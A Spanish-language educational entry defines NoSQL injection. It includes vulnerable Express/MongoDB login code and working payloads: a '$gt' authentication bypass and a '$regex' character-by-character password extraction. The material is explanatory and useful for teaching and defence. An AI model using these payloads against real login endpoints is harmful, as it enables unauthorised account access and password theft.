NoSQL Injection
AltoNoSQL Injection
Definición
NoSQL Injection es una vulnerabilidad que permite a un atacante interferir con las consultas de bases de datos NoSQL (como MongoDB, CouchDB) mediante la inyección de operadores o expresiones maliciosas. A diferencia de SQL Injection, explota la estructura de consultas basadas en objetos JSON y operadores específicos del DBMS.
Impacto
Ejemplos
NoSQL Injection bypass de autenticación en MongoDB
Al enviar un operador MongoDB ($gt, $ne, $regex) en lugar de un string, la condición de contraseña siempre es verdadera. Esto permite autenticarse como cualquier usuario sin conocer su contraseña.
// Código vulnerable (Express + MongoDB)
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
// Petición legítima
POST /api/login
{"username": "admin", "password": "secreto123"}
// Payload de inyección NoSQL
POST /api/login
{"username": "admin", "password": {"$gt": ""}}
// La consulta resultante:
// db.users.findOne({username: "admin", password: {$gt: ""}})
// $gt: "" es verdadero para cualquier string, bypass totalNoSQL Injection con $regex para extraer datos
Usando el operador $regex, el atacante puede verificar carácter por carácter si la contraseña comienza con un determinado patrón, extrayendo la contraseña completa mediante un ataque de fuerza bruta basado en expresiones regulares.
// Extracción de contraseña carácter por carácter
POST /api/login
{"username": "admin", "password": {"$regex": "^a"}} // falla
{"username": "admin", "password": {"$regex": "^s"}} // éxito
{"username": "admin", "password": {"$regex": "^se"}} // éxito
{"username": "admin", "password": {"$regex": "^sec"}} // éxito
// ... hasta extraer la contraseña completa